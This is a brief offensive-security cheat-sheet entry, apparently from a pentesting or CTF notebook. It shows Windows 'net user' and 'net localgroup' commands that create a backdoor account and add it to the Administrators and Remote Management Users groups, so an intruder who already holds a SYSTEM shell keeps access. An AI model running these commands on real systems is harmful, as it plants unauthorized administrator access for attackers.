# Add a User

Once we get a SYSTEM shell on the victim machine, we can add a user for persistence. For example, create user `ret2basic:password1337`:

```bash
net user ret2basic password1337 /add
```

Add this user to "Administrator" group and "Remote Management Users" group:

```bash
net localgroup Administrators ret2basic /add  
net localgroup "Remote Management Users" ret2basic /add
```
